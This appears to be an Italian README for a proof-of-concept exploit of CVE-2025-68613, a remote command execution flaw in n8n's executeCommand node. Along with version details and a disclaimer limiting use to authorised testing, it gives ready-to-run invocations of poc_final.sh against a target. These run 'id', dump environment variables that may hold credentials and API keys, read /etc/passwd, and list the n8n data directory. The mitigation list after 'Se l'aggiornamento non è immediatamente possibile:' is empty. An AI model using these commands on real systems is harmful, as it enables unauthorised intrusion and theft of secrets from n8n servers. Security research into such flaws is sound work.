h3raklez/cve-2025-68613Proof-of-concept exploit per CVE-2025-68613, una vulnerabilità RCE critica nell'automazione dei flussi di lavoro n8n tramite injection di espressioni nel nodo executeCommand.
Solo a scopo educativo e di ricerca sulla sicurezza autorizzata.
Vulnerabilità RCE critica (CVSS 9.9) nella piattaforma di automazione dei flussi di lavoro n8n. Gli utenti autenticati possono eseguire comandi OS arbitrari tramite il nodo executeCommand, bypassando le restrizioni della sandbox.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2025-68613 |
| CVSS | 9.9 (Critico) |
| Versioni interessate | >= 0.211.0 < 1.120.4 |
| Autenticazione richiesta | Sì (qualsiasi utente con permessi di creazione dei flussi di lavoro) |
| Testato su | n8n 1.119.1 |
| Corretto in | 1.120.4, 1.121.1, 1.122.0 |
n8n valuta i parametri dei nodi del flusso di lavoro lato server. Il nodo executeCommand esegue comandi shell direttamente sull'host con i privilegi del processo n8n. Qualsiasi utente autenticato con permessi di creazione o modifica dei flussi di lavoro può abusarne per ottenere RCE completo.
bash poc_final.sh <target> <email> <password> <command>
Esempi:
# Basic RCE
bash poc_final.sh http://target:5678 [email protected] 'Password1!' 'id'
# Read environment variables (may contain credentials/API keys)
bash poc_final.sh http://target:5678 [email protected] 'Password1!' 'env'
# Read sensitive files
bash poc_final.sh http://target:5678 [email protected] 'Password1!' 'cat /etc/passwd'
# List n8n data directory
bash poc_final.sh http://target:5678 [email protected] 'Password1!' 'ls -la ~/.n8n/'
Nota: Se la tua password contiene caratteri speciali come
!, usa gli apici singoli.
Aggiorna subito a n8n >= 1.120.4.
Se l'aggiornamento non è immediatamente possibile:
Questo strumento è fornito solo a scopo educativo e per test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si possiede o per cui non si dispone di esplicita autorizzazione scritta a testare è illegale. L'autore non è responsabile di qualsiasi uso improprio.